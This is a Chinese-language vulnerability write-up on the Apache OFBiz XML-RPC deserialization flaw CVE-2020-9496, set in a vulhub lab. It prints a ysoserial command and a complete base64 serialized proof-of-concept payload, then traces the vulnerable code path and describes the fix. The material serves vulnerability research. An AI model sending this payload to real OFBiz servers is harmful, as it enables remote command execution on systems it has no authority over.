目录

Apache OfBiz 反序列化命令(CVE-2020-9496)

Apache OfBiz 反序列化命令(CVE-2020-9496)

漏洞描述

Apache OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。

其17.12.04版本之前的XMLRPC接口存在一处反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。

环境搭建

cd vulhub-master/ofbiz/ofbiz/CVE-2020-9496
docker-compose up -d

然后访问 https://localhost:8443/accounting/control/main,注意需要用 https 协议

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508151809899.png

源码下载地址:https://archive.apache.org/dist/ofbiz/,下载 ofbiz17.12.1 版本,用 idea 打开看到 gradle 构建全是报错,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508154642698.png

vulhub 开启了调试端口,直接配置远程调试好了

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508155109879.png

漏洞复现

利用 ysoseral 生成反序列化 payload,

 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/success"|base64 -w 0

得到poc

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAceXNvc2VyaWFsL1B3bmVyMTg4NDg3MTkxMzczOQEAHkx5c29zZXJpYWwvUHduZXIxODg0ODcxOTEzNzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

利用 bp 进行发包

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508152011285.png

看见成功反序列化并执行命令

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508151932819.png

漏洞分析

XML-RPC消息

在漏洞分析前先简单了解一下 XML-RPC 消息。

一、XML-RPC数据类型

xmlrpc支持多种数据类型,对应的xml标签包括 base64structarray 等,下面是几种常见的数据类型

<!-- array -->
<value>
  <array>
    <data>
      <value><int>7</int></value>
    </data>
  </array>
</value>

<!-- struct -->
<struct> 
  <member> 
    <name>foo</name> 
    <value>bar</value> 
  </member> 
</struct>

二、XML-RPC消息格式

每个XML-RPC请求都以<methodCall></methodCall>开头,该元素包含单个子元素<methodName>method</methodName>,元素<methodName>包含子元素<params><params>可以包含一个或多个<param>元素。如:

POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0" encoding="utf-8"?>
<methodCall> 
  <methodName>examples.getStateName</methodName>  
  <params> 
    <param> 
      <value>
        <i4>41</i4>
      </value> 
    </param> 
  </params> 
</methodCall>

调试分析

根据路由 /webtools/control/xmlrpc 定位到 framework/webtools/webapp/webtools/WEB-INF/web.xml 文件,看具体处理的类是哪个

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508154241860.png

看到处理类是 org.apache.ofbiz.webapp.control.ControlServlet,那么跟进这个类,在其 dopost 方法上下上断点,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508154604745.png

然后跟进这个 doget 方法,在这里 requestHandler.doRequest 继续跟进,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508163340964.png

controllerConfig 根据 controller.xml 配置文件来获取 url 信息,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508163828814.png

默认有 216 个,不同路由对应不同的类。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508164145844.png

然后接着会从 requestMapMap 中获得我们请求路由 xmlrpc 对应的处理类,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508164659777.png

然后来到这里,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508165007396.png

跟进这个 runEvent 方法,就是根据 requestMap.event 信息去查找负责处理event的handler,然后通过 invoke 进行具体调用,连续循环几次就会到我们的 xmlrpc,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508165451686.png

跟进 invoke 方法,没有传入 echo 参数,进入 else 条件,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508165601765.png

然后继续跟进下下面这个 execute 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508165645053.png

调用 getRequest 对请求内容进行处理,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508165952484.png

跟进该方法,直接调用了 SAXParsers.newXMLReader.parse 解析我们的输入流,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508170111007.png

需要添加xmlrpc-common-3.1.3.jar 依赖包,经过一系列重载的 parse 方法调用,最后来到 startElement 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508174045060.png

会调用其父类的 startElement 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508174300945.png

对pURI进行了判断,这也是为什么我们的payload要设置xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508174419766.png

接着会调用ByteArrayParser的startElement进行一个base64解码

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508174809796.png

最后又是一通调用,最后来到 SerializableParser#getResult 方法进行反序列化,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508174953843.png


漏洞修复

增加了鉴权,让这个功能点不能未授权访问。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250508175212333.png

参考:https://ilikeoyt.github.io/2024/09/10/Apache-OfBiz-反序列化命令执行漏洞-分析(CVE-2020-9496)/#more

参考:https://xz.aliyun.com/news/7919,这篇文章分析得非常全面。